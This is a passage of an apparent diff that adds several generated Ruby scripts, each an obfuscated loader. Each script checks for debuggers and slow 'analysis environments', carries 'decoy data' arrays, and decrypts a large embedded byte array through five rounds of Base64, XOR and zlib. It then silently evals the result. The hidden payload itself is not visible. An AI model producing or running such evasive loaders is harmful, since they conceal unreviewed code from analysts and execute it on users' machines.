+ _n56977b = [58, 44, 119, 151, 153, 140, 119, 143, 20, 203, 142, 54, 210, 103, 212, 14, 86, 12, 133, 86, 175, 31, 160, 236, 242, 8, 159, 197, 203, 74, 150, 54, 117, 72, 43, 56, 69, 163, 81, 58, 27, 83, 213, 35, 116, 166, 114, 35, 174, 250, 179, 94, 195, 230, 5, 227, 80, 34, 87, 151, 78, 64, 26, 176, 118, 250, 38, 31, 11, 87, 93, 157, 136, 133, 48, 139, 77, 125, 182, 217, 143, 154, 75, 191, 246, 116, 253, 180, 234, 220, 43, 222, 72, 186, 163, 157, 223, 28, 43, 246, 131, 85, 163, 149, 244, 162, 129, 110, 55, 125, 166, 63, 111, 250, 69, 151, 107, 111, 80, 79, 9, 153, 133, 130, 227, 248, 53, 21, 119, 106]
66
+
67
+ # === FIXED DECRYPTION ALGORITHM ===
68
+ begin
69
+ # 1. Verify integrity BEFORE decryption
70
+ unless _l5f5135.call(_v665d15, _s7aa083, _ud69bef, _j4eb06a)
71
+ raise "Integrity verification failed"
72
+ end
73
+
74
+ # 2. Start with the encrypted data
75
+ _v292ddd = _v665d15.dup
76
+
77
+ # 3. Decryption loop (must reverse encryption steps)
78
+ 5.times do |_vb1473a|
79
+ # Calculate which round we're reversing
80
+ _id57627 = 5 - _vb1473a - 1
81
+
82
+ # Get key for this reverse round
83
+ _x17cf88 = 4
84
+ _bfcf206 = _id57627 * _x17cf88
85
+ _jbef586 = _ud69bef[_bfcf206, _x17cf88]
86
+
87
+ # DECRYPTION STEPS (REVERSED ORDER from encryption):
88
+ # Encryption was: Compress → XOR → (Maybe) Base64
89
+ # Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
90
+
91
+ # A. Base64 decode if this round used it
92
+ if _s7aa083[_id57627] == 1
93
+ _abc4177 = _v292ddd.pack('C*')
94
+ _abc4177 = Base64.strict_decode64(_abc4177)
95
+ _v292ddd = _abc4177.bytes
96
+ end
97
+
98
+ # B. XOR decrypt with the key
99
+ _v292ddd = _kea731f.call(_v292ddd, _jbef586)
100
+
101
+ # C. Inflate (decompress) the data
102
+ _abc4177 = _v292ddd.pack('C*')
103
+ _abc4177 = Zlib::Inflate.inflate(_abc4177)
104
+ _v292ddd = _abc4177.bytes
105
+ end
106
+
107
+ # 4. Final verification and execution
108
+ _fcc81c4 = _v292ddd.pack('C*')
109
+
110
+ # Quick syntax check before eval
111
+ if _fcc81c4.strip.empty? || _fcc81c4.length < 10
112
+ raise "Decryption resulted in invalid code"
113
+ end
114
+
115
+ # No user-facing output here; the loader should not print this during decryption
116
+ eval(_fcc81c4, binding, __FILE__, __LINE__)
117
+
118
+ rescue => _t5c817e
119
+ # Graceful error handling
120
+ warn "DECRYPTION ERROR: #{_t5c817e.message}"
121
+ warn "This file appears to be corrupted or tampered with."
122
+ exit 1
123
+ end
@@ -0,0 +1,123 @@
1
+ #!/usr/bin/env ruby
2
+ # frozen_string_literal: true
3
+
4
+ require 'base64'
5
+ require 'zlib'
6
+ require 'digest'
7
+
8
+ # === ANTI-ANALYSIS PROTECTIONS ===
9
+ _tc8dc5c = lambda do
10
+ # Analyzer detection
11
+ if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
12
+ warn "WARNING: analysis environment detected"
13
+ # Optional: exit(1) for stronger protection
14
+ end
15
+
16
+ # Quick execution speed check
17
+ _j7ecf22 = Time.now
18
+ 100.times { |_| Math.sqrt(_) }
19
+ if (Time.now - _j7ecf22) > 0.1 # Adjust threshold as needed
20
+ warn "WARNING: Execution too slow - possible analysis environment"
21
+ end
22
+
23
+ # Return environment fingerprint
24
+ [RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
25
+ end
26
+
27
+ # Run environment check
28
+ _a07a4f5 = _tc8dc5c.call
29
+
30
+ # === FIXED XOR DECRYPTOR ===
31
+ _lea75c1 = ->(_wf1139f, _g3dcaa9) do
32
+ _rd36d43 = []
33
+ _wf1139f.each_with_index do |byte, idx|
34
+ _rd36d43 << (byte ^ _g3dcaa9[idx % _g3dcaa9.length])
35
+ end
36
+ _rd36d43
37
+ end
38
+
39
+
40
+ # === INTEGRITY VERIFICATION ===
41
+ _ub0f122 = lambda do |_qd19a23, _k821260, _tdab3dd, _nab8421|
42
+ # Verify checksum before any decryption
43
+ current_hash = Digest::SHA256.hexdigest(_qd19a23.pack('C*'))
44
+ if current_hash != _nab8421
45
+ raise "SECURITY ERROR: File integrity check failed"
46
+ end
47
+ true
48
+ end
49
+
50
+ # === EMBEDDED ENCRYPTED DATA ===
51
+ _qd19a23 = [234, 101, 240, 65, 167, 9, 89, 213, 146, 187, 242, 145, 18, 124, 237, 185, 18, 4, 198, 204, 124, 81, 97, 171, 237, 101, 156, 106, 56, 157, 217, 151, 179, 237, 226, 100, 55, 40, 163, 37, 161, 73, 48, 179, 82, 84, 76, 237, 50, 224, 250, 85, 69, 201, 187, 73, 124, 217, 109, 11, 44, 193, 57, 45, 63, 227, 166, 67, 95, 9, 70, 226, 83, 213, 129, 119, 196, 114, 106, 211, 171, 217, 29, 212, 244, 75, 41, 18, 80, 150, 50, 20, 231, 178, 252, 181, 232, 5, 239, 176, 30, 57, 249, 243, 200, 224, 166, 133, 192, 103, 234, 91, 255, 134, 100, 166, 237, 160, 229, 123, 144, 104, 168, 210, 7, 229, 138, 236, 235, 30, 34, 153, 114, 154, 119, 227, 46, 26, 171, 59, 26, 235, 123, 86, 77, 56, 64, 63, 76, 86, 13, 59, 27, 183, 48, 35, 162, 16, 240, 53, 9, 2, 238, 113, 13, 63, 215, 117, 252, 18, 118, 255, 210, 45, 163, 111, 196, 144, 96, 24, 96, 101, 197, 121, 100, 218, 130, 172, 67, 254, 118, 203, 87, 162, 241, 5, 210, 169, 120, 57, 139, 139, 244, 134, 100, 36, 214, 89, 224, 254, 201, 172, 165, 158, 207, 94, 174, 211, 200, 104, 76, 146, 225, 91, 175, 166, 119, 158, 134, 154, 14, 152, 12, 11, 202, 228, 72, 142, 1, 132, 170, 138, 150, 218, 12, 48, 75, 84, 148, 184, 80, 157, 196, 237, 71, 47, 252, 162, 243, 184, 150, 173, 113, 82, 25, 73, 138, 124, 97, 27, 175, 23, 236, 72, 72, 164, 79, 101, 182, 238, 107, 166, 30, 246, 100, 165, 224, 19, 140, 77, 175, 89, 43, 77, 99, 163, 152, 60, 34, 7, 113, 36, 178, 5, 184, 220, 165, 10, 59, 77, 147, 203, 23, 190, 27, 252, 245, 81, 104, 46, 224, 133, 154, 192, 168, 184, 47, 213, 229, 117, 184, 49, 84, 2, 238, 205, 83, 88, 234, 30, 142, 65, 27, 186, 0, 164, 22, 22, 159, 58, 195, 255, 151, 11, 154, 4, 24, 91, 13, 144, 55, 63, 64, 177, 70, 89, 164, 26, 55, 29, 235, 40, 30, 97, 128, 205, 78, 122, 108, 24, 135, 138, 94, 106, 189, 171, 178, 3, 35, 69, 46, 174, 76, 113, 177, 209, 99, 3, 37, 167, 135, 168, 166, 21, 18, 88, 30, 161, 20, 41, 18, 134, 33, 214, 28, 231, 193, 144, 192, 158, 145, 209, 181, 233, 78, 193, 95, 178, 239, 158, 40, 229, 142, 27, 31, 229, 8, 13, 118, 140, 218, 105, 166, 132, 13, 153, 20, 157, 232, 226, 184, 140, 103, 252, 97, 248, 106, 21, 227, 147, 115, 78, 107, 94, 71, 21, 11, 105, 97, 222, 135, 142, 134, 76, 156, 169, 107, 46, 112, 177, 115, 248, 108, 86, 10, 237, 101, 88, 31, 209, 249, 37, 115, 244, 150, 232, 78, 108, 223, 71, 172, 73, 167, 33, 25, 86, 98, 168, 199, 136, 232, 202, 200, 42, 40, 194, 20, 240, 35, 187, 28, 191, 253, 51, 196, 140, 171, 27, 0, 158, 151, 99, 45, 120, 14, 30, 93, 104, 80, 14, 210, 191, 168, 24, 237, 30, 186, 210, 130, 184, 99, 255, 3, 91, 230, 202, 199, 250, 110, 38, 237, 228, 212, 147, 7, 179, 134, 195, 138, 182, 190, 218, 216, 90, 89, 142, 187, 29, 72, 75, 137, 31, 40, 110, 219, 49, 145, 5, 1, 33, 235, 242, 188, 17, 179, 30, 92, 113, 254, 165, 106, 139, 198, 132, 66, 200, 38, 145, 59, 253, 63, 148, 93, 68, 38, 124, 204, 197, 117, 193, 70, 180, 210, 141, 213, 84, 202, 188, 171, 209, 3, 235, 47, 106, 254, 211, 220, 223, 19, 30, 242, 121, 181, 179, 234, 179, 78, 199, 13, 184, 241, 153, 21, 77, 87, 56, 185, 229, 225, 84, 103, 212, 183, 41, 190, 26, 147, 8, 218, 123, 251, 137, 66, 80, 114, 224, 142, 138, 248, 86, 177, 134, 89, 33, 136, 132, 43, 66, 136, 142, 160, 254, 86, 27, 144, 39, 56, 91, 223, 106, 155, 93, 14, 112, 143, 245, 152, 158, 68, 77, 255, 9, 101, 34, 64, 254, 62, 110, 237, 156, 141, 4, 27, 238, 2, 115, 253, 43, 18, 19, 22, 237, 95, 57, 127, 108, 137, 202, 50, 212, 45, 174, 77, 58, 122, 0, 27, 227, 254, 4, 104, 157, 161, 50, 172, 173, 179, 183, 123, 220, 20, 222, 187, 176, 222, 190, 73, 225, 83, 235, 102, 112, 131, 104, 168, 56, 243, 166, 39, 126, 198, 57, 22, 208, 5, 57, 120, 248, 159, 5, 70, 83, 199, 101, 78, 162, 61, 135, 225, 250, 146, 128, 44, 40, 67, 125, 186, 158, 66, 203, 27, 212, 143, 87, 179, 197, 110, 82, 154, 89, 82, 84, 155, 82, 125, 179, 230, 46, 51, 10, 68, 165, 151, 22, 194, 1, 167, 208, 19, 83, 73, 80, 27, 12, 200, 160, 255, 151, 223, 96, 224, 55, 234, 225, 147, 40, 235, 44, 184, 252, 201, 82, 143, 33, 57, 84, 120, 38, 70, 157, 1, 193, 119, 104, 239, 6, 244, 64, 249, 211, 172, 22, 200, 180, 179, 56, 59, 180, 107, 165, 246, 152, 88, 66, 94, 195, 113, 11, 106, 133, 30, 255, 190, 125, 247, 6, 218, 137, 92, 31, 46, 101, 78, 107, 115, 175, 104, 231, 57, 182, 102, 121, 44, 11, 190, 85, 215, 105, 139, 184, 197, 229, 37, 219, 51, 22, 84, 167, 167, 156, 180, 230, 61, 42, 234, 227, 71, 101, 137, 21, 224, 246, 196, 89, 191, 128, 41, 230, 16, 121, 190, 212, 89, 203, 227, 6, 111, 239, 95, 177, 164, 177, 214, 102, 240, 100, 75, 180, 219, 223, 60, 81, 163, 3, 180, 163, 204, 124, 27, 229, 151, 147, 117, 194, 155, 21, 122, 26, 35, 111, 113, 189, 96, 38, 244, 73, 221, 69, 161, 0, 83, 94, 174, 218, 99, 152, 142, 59, 187, 194, 207, 176, 113, 7, 7, 162, 165, 227, 237, 45, 30, 33, 175, 28, 126, 217, 20, 107, 163, 99, 210, 22, 191, 142, 30, 238, 206, 29, 115, 117, 110, 41, 121, 113, 242, 231, 39, 83, 9, 153, 48, 67, 240, 83, 89, 122, 12, 93, 55, 186, 210, 37, 173, 144, 140, 70, 209, 111, 218, 225, 65, 15, 136, 147, 132, 203, 185, 169, 127, 181, 69, 29, 210, 140, 110, 27, 197, 18, 62, 204, 19, 92, 250, 12, 228, 17, 88, 202, 55, 88, 212, 202, 245, 195, 50, 119, 220, 175, 103, 59, 79, 178, 187, 17, 123, 33, 35, 162, 121, 241, 32, 91, 203, 245, 122, 24, 112, 238, 115, 86, 181, 249, 251, 175, 93, 161, 87, 215, 201, 187, 198, 187, 91, 142, 194, 36, 35, 175, 187, 168, 131, 215, 22, 98, 213, 223, 18, 66, 232, 183, 208, 29, 211, 64, 113, 79, 254, 134, 137, 202, 132, 183, 59, 244, 134, 41, 164, 182, 143, 207, 134, 132, 85, 115, 138, 120, 182, 210, 105, 94, 232, 96, 140, 3, 102, 11, 81, 206, 94, 57, 213, 58, 67, 244, 10, 159, 45, 146, 225, 81, 140, 183, 12, 177, 90, 123, 202, 242, 117, 156, 26, 0, 206, 150, 105, 17, 28, 121, 174, 227, 108, 142, 212, 225, 81, 224, 20, 134, 42, 154, 59, 235, 235, 165, 250, 134, 37, 170, 38, 179, 41, 49, 14, 29, 238, 163, 247, 8, 78, 133, 70, 180, 102, 66, 119, 41, 226, 96, 4, 95, 12, 143, 9, 65, 29, 247, 237, 60, 254, 32, 244, 230, 122, 12, 58, 54, 82, 176, 16, 150, 40, 197, 150, 190, 165, 59, 99, 212, 47, 130, 193, 240, 200, 241, 153, 145, 251, 120, 156, 217, 143, 138, 213, 248, 214, 91, 201, 213, 2, 78, 227, 121, 7, 217, 220, 119, 201, 34, 151, 27, 53, 27, 160, 139, 164, 138, 212, 175, 166, 210, 213, 117, 8, 93, 178, 244, 166, 41, 240, 95, 74, 132, 6, 4, 214, 31, 185, 27, 125, 155, 29, 103, 220, 119, 3, 237, 213, 153, 215, 46, 185, 205, 144, 7, 233, 137, 235, 142, 115, 84, 191, 12, 1, 190, 140, 234, 41, 208, 204, 233, 146, 109, 30, 22, 234, 87, 248, 76, 151, 158, 2, 188, 66, 116, 143, 205, 221, 174, 102, 119, 191, 21, 151, 224, 248, 252, 165, 236, 164, 83, 17, 202, 7, 140, 171, 66, 60, 230, 177, 181, 173, 127, 8, 43, 12, 124, 180, 246, 115, 101, 24, 159, 128, 171, 242, 254, 204, 193, 178, 131, 69, 86, 28, 2, 124, 52, 247, 184, 197, 25, 105, 20, 44, 62, 64, 111, 166, 90, 246, 165, 35, 191, 57, 76, 151, 68, 81, 121, 204, 223, 151, 129, 54, 201, 243, 94, 140, 160, 226, 136, 75, 11, 118, 221, 244, 59, 0, 56, 65, 70, 70, 15, 122, 205, 80, 95, 222, 93, 23, 18, 105, 144, 187, 77, 183, 163, 36, 55, 38, 63, 138, 78, 164, 248, 118, 141, 139, 98, 46, 118, 108, 51, 28, 185, 66, 14, 109, 228, 219, 0, 153, 71, 51, 52, 33, 245, 236, 174, 169, 0, 116, 115, 217, 214, 16, 84, 189, 161, 104, 52, 206, 100, 57, 169, 27, 170, 208, 126, 127, 59, 50, 113, 251, 139, 102, 100, 26, 190, 140, 141, 203, 111, 92, 191, 79, 37, 254, 236, 244, 129, 80, 202, 162, 232, 47, 112, 138, 154, 22, 247, 44, 13, 128, 217, 211, 157, 89, 50, 182, 88, 95, 222, 174, 153, 221, 119, 234, 170, 181, 150, 105, 50, 24, 94, 24, 237, 216, 235, 57, 35, 246, 214, 73, 148, 132, 254, 200, 22, 219, 174, 95, 32, 169, 77, 172, 239, 207, 52, 64, 243, 165, 252, 49, 92, 40, 146, 114, 221, 124, 145, 87, 45, 59, 170, 84, 216, 8, 44, 133, 136, 0, 73, 79, 14, 46, 65, 41, 213, 55, 249, 190, 210, 91, 32, 20, 152, 185, 132, 34, 155, 76, 149, 17, 27, 99, 10, 252, 213, 108, 252, 163, 230, 238, 65, 169, 175, 57, 66, 223, 181, 200, 226, 117, 57, 51, 191, 178, 70, 114, 17, 246, 134, 29, 194, 140, 132, 196, 119, 55, 47, 86, 6, 100, 80, 218, 86, 125, 47, 211, 175, 123, 35, 196, 121, 122, 84, 65, 28, 93, 171, 60, 234, 38, 95, 145, 120, 167, 195, 229, 174, 239, 75, 95, 105, 98, 162, 81, 252, 173, 215, 2, 105, 178, 97, 91, 205, 92, 104, 70, 25, 52, 94, 83, 206, 223, 106, 222, 0, 38, 18, 178, 224, 92, 243, 179, 254, 214, 89, 55, 72, 81, 18, 130, 53, 150, 127, 194, 92, 51, 72, 179, 138, 149, 45, 187, 40, 131, 34, 184, 226, 195, 220, 85, 225, 0, 246, 239, 247, 77, 174, 52, 212, 102, 186, 67, 99, 204, 135, 34, 67, 197, 76, 219, 145, 129, 68, 217, 12, 91, 113, 161, 50, 204, 95, 81, 77, 113, 10, 120, 141, 171, 156, 231, 171, 136, 10, 151, 22, 137, 77, 241, 193, 224, 131, 116, 181, 26, 208, 28, 110, 88, 120, 11, 61, 243, 112, 218, 224, 119, 201, 24, 82, 96, 158, 248, 136, 162, 35, 133, 241, 110, 187, 205, 231, 151, 54, 156, 226, 168, 154, 240, 44, 208, 18, 235, 102, 244, 94, 177, 140, 186, 109, 7, 92, 127, 122, 164, 65, 203, 178, 119, 145, 183, 17, 127, 97, 255, 55, 101, 75, 152, 54, 83, 253, 204, 118, 56, 45, 237, 86, 1, 118, 217, 93, 21, 208, 151, 203, 11, 55, 193, 247, 200, 183, 130, 87, 171, 19, 21, 14, 118, 155, 6, 209, 82, 30, 26, 82, 253, 127, 222, 36, 202, 26, 8, 23, 68, 67, 229, 230, 45, 88, 141, 101, 208, 74, 230, 134, 34, 192, 2, 212, 111, 142, 134, 130] # Main encrypted payload
52
+
53
+ # === EMBEDDED KEYS (obfuscated) ===
54
+ _j53bc98 = [167, 157, 213, 207, 138, 135, 72, 168, 170, 159, 143, 209, 144, 164, 132, 124, 146, 191, 253, 213]
55
+
56
+ # === ENCODING TYPE TRACKER ===
57
+ _k821260 = [0, 1, 1, 1, 0]
58
+
59
+ # === STORED CHECKSUM ===
60
+ _nab8421 = '0ee6085cdfa7eb3fa10a2f8a8e45884a07970086265d633275cf255620ec7039'
61
+
62
+ # === DECOY DATA (distraction) ===
63
+ _yd76ab6 = [95, 16, 196, 215, 50, 198, 246, 177, 215, 99, 35, 29, 123, 50, 63, 196, 12, 224, 206, 33, 118, 185, 148, 160, 201, 255, 148, 64, 20, 181, 16, 185, 140, 44, 195, 115, 129, 198, 161, 136, 28, 55, 148, 137, 191, 166, 91, 135, 155, 193, 165, 157, 3, 163, 90, 116, 159, 62, 57, 238, 123, 148, 55, 149, 22, 0, 20, 0, 237, 237]
64
+ _b932fd4 = [78, 11, 124, 16, 168, 153, 107, 163, 242, 140, 206, 151, 244, 128, 254, 86, 97, 128, 176, 85, 19, 31, 130, 184, 204, 146, 135, 246, 176, 22, 233, 234, 99, 229, 181, 25, 243, 120, 78, 198, 126, 216, 148, 245, 106, 86, 70, 16, 160, 177, 193, 89, 162, 11, 169, 52, 24, 99, 23, 13, 30, 82, 215, 236, 57, 109, 0, 69, 207, 129, 162, 59, 59, 107, 106, 221, 245, 151, 232, 135, 236, 205, 227, 104, 199, 166, 83, 224, 129, 4, 180, 109, 119, 0, 118, 218, 206, 200, 222, 160, 52, 181]
65
+ _yfd1057 = [172, 41, 82, 41, 217, 34, 74, 2, 137, 169, 247, 233, 138, 145, 109, 112, 104, 178, 145, 182, 213, 250, 249, 135, 176, 202, 232, 75, 40, 15, 144, 208, 112, 71, 0, 135, 149, 243, 24, 169, 121, 117, 132, 252, 213, 145, 10, 105, 87, 196, 28, 233, 121, 80, 179, 75, 35, 175, 107, 48, 118, 123, 102, 121, 136, 178, 109, 224, 137, 3, 223, 117, 105, 239, 111]
66
+
67
+ # === FIXED DECRYPTION ALGORITHM ===
68
+ begin
69
+ # 1. Verify integrity BEFORE decryption
70
+ unless _ub0f122.call(_qd19a23, _k821260, _j53bc98, _nab8421)
71
+ raise "Integrity verification failed"
72
+ end
73
+
74
+ # 2. Start with the encrypted data
75
+ _t9fab05 = _qd19a23.dup
76
+
77
+ # 3. Decryption loop (must reverse encryption steps)
78
+ 5.times do |_lca3481|
79
+ # Calculate which round we're reversing
80
+ _h111e16 = 5 - _lca3481 - 1
81
+
82
+ # Get key for this reverse round
83
+ _gfb67da = 4
84
+ _oe35a7f = _h111e16 * _gfb67da
85
+ _o0df4f3 = _j53bc98[_oe35a7f, _gfb67da]
86
+
87
+ # DECRYPTION STEPS (REVERSED ORDER from encryption):
88
+ # Encryption was: Compress → XOR → (Maybe) Base64
89
+ # Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
90
+
91
+ # A. Base64 decode if this round used it
92
+ if _k821260[_h111e16] == 1
93
+ _a6f2737 = _t9fab05.pack('C*')
94
+ _a6f2737 = Base64.strict_decode64(_a6f2737)
95
+ _t9fab05 = _a6f2737.bytes
96
+ end
97
+
98
+ # B. XOR decrypt with the key
99
+ _t9fab05 = _lea75c1.call(_t9fab05, _o0df4f3)
100
+
101
+ # C. Inflate (decompress) the data
102
+ _a6f2737 = _t9fab05.pack('C*')
103
+ _a6f2737 = Zlib::Inflate.inflate(_a6f2737)
104
+ _t9fab05 = _a6f2737.bytes
105
+ end
106
+
107
+ # 4. Final verification and execution
108
+ _rb824e8 = _t9fab05.pack('C*')
109
+
110
+ # Quick syntax check before eval
111
+ if _rb824e8.strip.empty? || _rb824e8.length < 10
112
+ raise "Decryption resulted in invalid code"
113
+ end
114
+
115
+ # No user-facing output here; the loader should not print this during decryption
116
+ eval(_rb824e8, binding, __FILE__, __LINE__)
117
+
118
+ rescue => _ea02cad
119
+ # Graceful error handling
120
+ warn "DECRYPTION ERROR: #{_ea02cad.message}"
121
+ warn "This file appears to be corrupted or tampered with."
122
+ exit 1
123
+ end
@@ -0,0 +1,123 @@
1
+ #!/usr/bin/env ruby
2
+ # frozen_string_literal: true
3
+
4
+ require 'base64'
5
+ require 'zlib'
6
+ require 'digest'
7
+
8
+ # === ANTI-ANALYSIS PROTECTIONS ===
9
+ _o7a8249 = lambda do
10
+ # Analyzer detection
11
+ if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
12
+ warn "WARNING: analysis environment detected"
13
+ # Optional: exit(1) for stronger protection
14
+ end
15
+
16
+ # Quick execution speed check
17
+ _f875373 = Time.now
18
+ 100.times { |_| Math.sqrt(_) }
19
+ if (Time.now - _f875373) > 0.1 # Adjust threshold as needed
20
+ warn "WARNING: Execution too slow - possible analysis environment"
21
+ end
22
+
23
+ # Return environment fingerprint
24
+ [RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
25
+ end
26
+
27
+ # Run environment check
28
+ _qc36398 = _o7a8249.call
29
+
30
+ # === FIXED XOR DECRYPTOR ===
31
+ _s442439 = ->(_j773ff4, _lc95c9e) do
32
+ _n84acc5 = []
33
+ _j773ff4.each_with_index do |byte, idx|
34
+ _n84acc5 << (byte ^ _lc95c9e[idx % _lc95c9e.length])
35
+ end
36
+ _n84acc5
37
+ end
38
+
39
+
40
+ # === INTEGRITY VERIFICATION ===
41
+ _q435933 = lambda do |_s431060, _b01e253, _j50ae47, _s1ef092|
42
+ # Verify checksum before any decryption
43
+ current_hash = Digest::SHA256.hexdigest(_s431060.pack('C*'))
44
+ if current_hash != _s1ef092
45
+ raise "SECURITY ERROR: File integrity check failed"
46
+ end
47
+ true
48
+ end
49
+
50
+ # === EMBEDDED ENCRYPTED DATA ===
51
+ _s431060 = [212, 177, 31, 235, 165, 246, 232, 168, 98, 56, 91, 217, 16, 207, 16, 199, 0, 238, 93, 175, 136, 184, 100, 33, 29, 189, 152, 237, 31, 207, 31, 39, 209, 101, 81, 224, 242, 237, 242, 209, 105, 10, 211, 212, 35, 234, 22, 91, 143, 199, 243, 164, 195, 237, 1, 162, 203, 105, 124, 192, 160, 117, 113, 68, 34, 40, 146, 77, 201, 150, 156, 112, 250, 76, 217, 223, 106, 119, 97, 5, 65, 153, 32, 2, 87, 229, 228, 98, 180, 4, 155, 110, 174, 148, 215, 180, 12, 2, 247, 75, 78, 100, 39, 103, 209, 128, 5, 210, 71, 211, 19, 22, 91, 184, 111, 114, 3, 216, 22, 82, 118, 6, 193, 2, 18, 248, 186, 69, 92, 211, 227, 60, 65, 138, 104, 27, 200, 238, 11, 38, 184, 57, 175, 187, 141, 24, 181, 234, 2, 167, 192, 110, 115, 88, 58, 199, 168, 230, 220, 172, 159, 86, 199, 181, 129, 219, 77, 63, 150, 247, 138, 52, 195, 13, 160, 90, 122, 128, 100, 184, 7, 38, 198, 150, 16, 235, 147, 70, 151, 73, 201, 192, 188, 92, 76, 78, 48, 100, 105, 3, 12, 82, 76, 188, 178, 93, 252, 45, 148, 245, 218, 116, 194, 236, 209, 162, 253, 132, 76, 192, 232, 29, 235, 55, 0, 125, 148, 40, 143, 156, 33, 242, 187, 202, 33, 195, 53, 61, 133, 122, 219, 219, 77, 8, 92, 215, 221, 135, 127, 119, 198, 74, 43, 192, 148, 73, 67, 161, 147, 112, 24, 5, 9, 47, 68, 225, 137, 23, 229, 139, 205, 162, 207, 151, 251, 57, 13, 196, 200, 36, 69, 190, 114, 17, 135, 246, 238, 54, 12, 143, 145, 240, 2, 178, 122, 31, 240, 165, 199, 28, 162, 5, 247, 177, 94, 207, 138, 202, 186, 3, 88, 120, 45, 102, 10, 212, 68, 228, 16, 164, 188, 59, 66, 153, 35, 169, 222, 156, 46, 92, 160, 112, 94, 189, 241, 203, 105, 187, 193, 9, 44, 38, 251, 174, 94, 46, 211, 124, 42, 246, 74, 28, 132, 211, 255, 184, 155, 48, 75, 64, 183, 139, 48, 242, 58, 114, 123, 147, 99, 186, 151, 9, 11, 239, 63, 221, 101, 95, 129, 193, 156, 88, 141, 57, 222, 196, 216, 86, 177, 186, 191, 87, 147, 216, 135, 13, 94, 201, 253, 195, 5, 106, 195, 208, 102, 210, 5, 49, 120, 210, 123, 141, 167, 29, 149, 98, 215, 112, 59, 218, 51, 137, 202, 14, 182, 114, 219, 10, 230, 118, 50, 237, 201, 157, 214, 137, 4, 249, 113, 178, 152, 122, 55, 38, 11, 100, 27, 227, 247, 165, 76, 66, 147, 211, 13, 78, 68, 68, 136, 197, 147, 254, 251, 250, 18, 89, 28, 154, 60, 239, 52, 247, 78, 157, 233, 186, 106, 5, 6, 104, 43, 129, 17, 107, 44, 80, 217, 187, 139, 198, 5, 159, 190, 106, 133, 250, 206, 222, 165, 185, 248, 127, 106, 221, 28, 49, 62, 236, 178, 92, 52, 208, 43, 196, 123, 151, 113, 52, 219, 10, 24, 63, 72, 13, 50, 41, 63, 131, 209, 87, 116, 39, 216, 15, 234, 23, 241, 105, 19, 107, 140, 10, 96, 89, 26, 149, 34, 208, 2, 155, 146, 183, 179, 84, 206, 137, 73, 247, 176, 18, 88, 58, 239, 0, 238, 231, 19, 1, 115, 241, 99, 250, 48, 79, 9, 124, 67, 0, 78, 111, 34, 88, 250, 165, 173, 140, 18, 191, 202, 212, 149, 23, 123, 51, 243, 75, 124, 149, 89, 218, 3, 158, 77, 121, 135, 9, 112, 201, 170, 210, 27, 200, 175, 13, 158, 50, 87, 24, 200, 213, 89, 11, 143, 58, 79, 249, 52, 97, 156, 168, 68, 108, 115, 5, 250, 25, 226, 141, 169, 201, 104, 16, 236, 51, 118, 124, 201, 34, 230, 99, 116, 216, 211, 121, 55, 156, 196, 61, 135, 161, 158, 222, 213, 1, 153, 24, 214, 252, 123, 106, 26, 19, 245, 146, 189, 109, 119, 192, 21, 1, 68, 183, 163, 163, 237, 189, 16, 35, 252, 13, 26, 243, 117, 175, 48, 71, 88, 143, 210, 183, 35, 141, 8, 113, 140, 141, 200, 114, 73, 31, 139, 152, 31, 99, 242, 187, 107, 158, 26, 116, 16, 198, 105, 1, 232, 1, 246, 121, 93, 252, 108, 115, 77, 144, 163, 253, 92, 21, 154, 152, 175, 132, 80, 60, 34, 140, 183, 10, 232, 144, 40, 4, 121, 57, 6, 92, 16, 24, 105, 240, 113, 176, 52, 234, 209, 104, 207, 112, 243, 124, 98, 226, 21, 21, 87, 246, 134, 59, 194, 175, 55, 215, 122, 215, 33, 242, 175, 254, 51, 56, 51, 134, 181, 164, 3, 5, 61, 41, 222, 194, 213, 239, 113, 98, 21, 128, 37, 211, 202, 104, 207, 9, 8, 40, 181, 237, 130, 85, 39, 79, 82, 179, 86, 7, 120, 159, 205, 154, 236, 87, 24, 19, 70, 55, 194, 218, 237, 217, 130, 10, 169, 40, 221, 197, 41, 119, 71, 137, 116, 140, 22, 74, 12, 32, 189, 64, 154, 98, 135, 66, 19, 109, 201, 28, 116, 193, 55, 53, 110, 21, 235, 219, 246, 193, 175, 130, 201, 24, 223, 214, 25, 97, 102, 88, 176, 31, 22, 149, 34, 37, 120, 182, 100, 20, 197, 136, 176, 208, 178, 163, 202, 130, 72, 127, 27, 70, 238, 219, 137, 255, 249, 208, 53, 128, 79, 108, 132, 68, 42, 169, 189, 209, 48, 88, 194, 221, 122, 68, 62, 252, 192, 225, 230, 221, 57, 164, 135, 52, 178, 240, 114, 94, 22, 242, 139, 119, 119, 208, 164, 149, 74, 135, 125, 223, 103, 168, 50, 151, 185, 45, 35, 66, 201, 116, 196, 53, 57, 174, 247, 26, 139, 122, 111, 175, 80, 136, 174, 154, 56, 225, 226, 71, 140, 6, 173, 189, 89, 197, 47, 117, 66, 94, 227, 62, 134, 246, 253, 203, 35, 68, 64, 214, 26, 118, 235, 150, 145, 48, 188, 171, 136, 49, 144, 109, 100, 53, 202, 53, 196, 109, 208, 206, 176, 91, 152, 236, 221, 206, 182, 244, 165, 198, 77, 212, 250, 159, 91, 224, 248, 66, 0, 112, 39, 212, 125, 40, 142, 21, 122, 200, 78, 96, 145, 51, 22, 53, 66, 221, 155, 107, 214, 18, 96, 198, 201, 171, 255, 15, 80, 236, 245, 94, 91, 80, 141, 156, 221, 95, 199, 242, 163, 201, 163, 184, 204, 120, 65, 5, 36, 194, 75, 134, 111, 237, 130, 59, 122, 154, 224, 168, 165, 194, 81, 205, 203, 254, 144, 88, 223, 44, 65, 107, 220, 59, 121, 67, 87, 138, 253, 132, 88, 148, 241, 198, 232, 31, 200, 236, 242, 196, 121, 228, 160, 232, 146, 130, 16, 42, 191, 142, 64, 182, 74, 211, 248, 9, 214, 195, 81, 77, 226, 59, 23, 5, 27, 182, 206, 180, 153, 75, 22, 116, 80, 195, 152, 78, 195, 242, 111, 32, 31, 65, 234, 190, 191, 225, 18, 180, 254, 154, 96, 49, 85, 182, 114, 107, 117, 220, 26, 236, 36, 31, 96, 174, 168, 125, 210, 227, 253, 173, 145, 122, 42, 249, 88, 81, 80, 12, 169, 78, 153, 131, 226, 135, 248, 125, 222, 250, 5, 238, 182, 188, 44, 177, 95, 183, 39, 3, 68, 128, 238, 14, 96, 194, 